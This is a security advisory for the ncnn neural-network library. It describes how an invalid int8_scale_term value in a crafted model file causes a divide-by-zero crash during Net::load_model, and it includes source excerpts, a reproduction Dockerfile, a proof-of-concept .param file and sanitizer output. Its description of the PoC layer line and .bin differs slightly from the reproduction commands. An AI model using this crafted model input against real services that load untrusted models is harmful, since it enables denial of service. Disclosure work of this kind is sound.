Denial Of Service From Invalid INT8 Scale Term
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/mat.h:1109 in Mat::Mat(int, void*, size_t, int, Allocator*)
Sanitizer verdict: FPE on unknown address 0x6435bd1d36e8 (pc 0x6435bd1d36e8 bp 0x7ffe1408a050 sp 0x7ffe14089250 T0)
Summary
A crafted ncnn model pair (.param plus .bin) terminates the loading process with SIGFPE before any inference runs. The attacker sets parameter field 8 (int8_scale_term) of a ConvolutionDepthWise layer to an integer such as 3, which is nonzero but matches none of the branches that actually populate the INT8 scale matrices; the runtime weight-quantization loop then slices the still-empty weight_data_int8_scales matrix and divides by its zero elemsize. The entry point in the proof of concept is tools/ncnnoptimize.cpp (ncnnoptimize poc.param poc.bin out.param out.bin 0), which reaches the sink through ncnn::Net::load_model; any embedder that calls Net::load_model on an untrusted model on an NCNN_INT8 build is affected identically.
Detail
The untrusted field is parameter id 8 of the layer line, read verbatim into int8_scale_term by ConvolutionDepthWise::load_param. The only test applied to it is truthiness: if (int8_scale_term) sets support_int8_storage on an NCNN_INT8 build and errors out otherwise. No code path restricts the value to the four encodings the loader actually understands (1, 2, 101, 102).
ConvolutionDepthWise::load_model populates weight_data_int8_scales in exactly two branches, for int8_scale_term == 1 || == 101 and for int8_scale_term == 2 || == 102. With 8=3 neither branch executes, so weight_data_int8_scales remains the default-constructed Mat with data == 0 and elemsize == 0. Control then falls into the runtime-quantization block, whose guard is only weight_data.elemsize == (size_t)4u && int8_scale_term — both hold, because the PoC .bin supplies a tagged FP32 weight record and 3 is truthy. The loop over group (which is 1 here) reaches line 135 and calls range(0, 1) on the empty scale matrix.
// src/layer/convolutiondepthwise.cpp:82
if (int8_scale_term == 1 || int8_scale_term == 101)
{
weight_data_int8_scales = mb.load(group, 1);
bottom_blob_int8_scales = mb.load(1, 1);
float bottom_blob_int8_scale = bottom_blob_int8_scales[0];
bottom_blob_int8_scales = Mat(group);
bottom_blob_int8_scales.fill(bottom_blob_int8_scale);
}
else if (int8_scale_term == 2 || int8_scale_term == 102)
// src/layer/convolutiondepthwise.cpp:118
if (weight_data.elemsize == (size_t)4u && int8_scale_term)
// src/layer/convolutiondepthwise.cpp:135
const Mat weight_data_int8_scales_g = weight_data_int8_scales.range(g, 1);
// src/mat.h:1767
Mat m(n, (unsigned char*)data + x * elemsize, elemsize, elempack, allocator);
// src/mat.h:1108
cstep = alignSize(w * elemsize, 16) / elemsize;
Mat::range forwards the source matrix's elemsize straight into the 1-D Mat constructor, which computes cstep = alignSize(w * elemsize, 16) / elemsize. With w == 1 and elemsize == 0, the numerator alignSize(0, 16) is 0 and the divisor is 0, so the integer division at src/mat.h:1109 raises SIGFPE and the process aborts inside Net::load_model. The PoC's ConvolutionDepthWise dw 1 1 data out 0=1 1=1 2=1 3=1 4=0 5=0 6=1 7=1 8=3 9=0 satisfies the num_output % group check (1 % 1 == 0) and declares weight_data_size = 1, so loading proceeds far enough to reach the quantization loop.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-denial-of-service-from-invalid-int8-scale-term && cd ncnn-poc-denial-of-service-from-invalid-int8-scale-term
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'POC_EOF'
7767517
2 2
Input data 0 1 data
ConvolutionDepthWise dw 1 1 data out 0=1 6=1 8=3
POC_EOF
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x562e491806e8 (pc 0x562e491806e8 bp 0x7ffc7d708890 sp 0x7ffc7d707a90 T0)
#0 0x562e491806e8 in ncnn::Mat::Mat(int, void*, unsigned long, int, ncnn::Allocator*) /ncnn/src/mat.h:1109
#1 0x562e491806e8 in ncnn::Mat::range(int, int) /ncnn/src/mat.h:1767
#2 0x562e491806e8 in ncnn::ConvolutionDepthWise::load_model(ncnn::ModelBin const&) /ncnn/src/layer/convolutiondepthwise.cpp:135
#3 0x562e442c9a84 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2080
#4 0x562e441ddc34 in main /ncnn/tools/ncnnoptimize.cpp:2793
#5 0x7d8e90e311c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#6 0x7d8e90e3128a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x562e4415d624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/src/mat.h:1109 in ncnn::Mat::Mat(int, void*, unsigned long, int, ncnn::Allocator*)
==1==ABORTING
Credit
Zheng Yu @ DepthFirst